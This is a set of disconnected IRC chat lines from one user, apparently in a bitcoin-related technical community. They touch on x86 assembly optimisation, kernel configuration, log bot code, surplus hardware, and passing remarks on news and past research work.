asciilifeform: http://btcbase.org/log/2019-03-10#1901308 << it's ALL! like this. the whole motherfucking x86 arch. where is there example of ~non~-ugliness, i'd like to learn.
asciilifeform: diana_coman: the imports in the asmolade were the 'smoking gun' there
asciilifeform: BingoBoingo: i'd ~really~ like to avoid the scenario where i go out with a half-empty crate
asciilifeform: !Q later tell phf fughet for nao about http://btcbase.org/log/2019-03-01#1899897 , but wouldja pleez fix vdiff ? and tell us what sorta swamp yer stuck in, what wouldja need to get to surface ?
asciilifeform: ftr asciilifeform suspects that 99% of what can be won from asmism in ffa, can be had simply from bvt's existing 64bit mul, plus doing adc for the additions-with-carry instead of the manually-cranked carry calc, and that all 'fancy' instructions will only lead to sad
asciilifeform: e.g. you ctrl-c and it nukes ~child~ of process however many layers deep, as in hanbot's example, and instead of propagating the kill up the tree, 'returns' barf uptree
asciilifeform: most complicated mechanism i ever used that 'works' , in light of mircea_popescu's concept thereof, is.. idk, kalash
asciilifeform: ( if you were to take trinque's example config, your kernel will boot but will panic when looks for root partition, as it won't find that iron's raid card )
asciilifeform: ( this is to be brought up at linus's impalement )
asciilifeform: so he took the 'simpler evil'
asciilifeform: 'US Secretary of State Mike Pompeo said Maduro’s government only has itself to blame for power shortages in Venezuela, noting sarcastically that “Maduro’s policies bring nothing but darkness.”' << lol!!
asciilifeform: https://archive.is/ymXhV << imho most complete / least obv. bogus src. on subj.
asciilifeform: BingoBoingo: ketamine, lol! when asciilifeform was research slave for us army, they were offering comparatively impressive sums (coupla thou) to anyone willing to take ketamine and run labyrinths / do various puzzlers
asciilifeform: i'm still waking up, coming up empty when digging
asciilifeform: incidentally, has anyone yet published a ~complete~ log bot kit ? last i knew , all that was trooly genesis'd is http://btcbase.org/patches/logbot-genesis , which is one-half of a log bot ( the rear half )
asciilifeform: unless it was the cpp components which did
asciilifeform: (i.e. quite unlike ida, they actually hired 9000 grunts to try & reimplement... )
asciilifeform: mircea_popescu: my entire setup runs on surplus gear, which turns up at reasonable price point erry odd year. so not precisely 'impulse'.
asciilifeform: i still have difficulty swallowing that they can make anyffin moar complicated than camel saddle.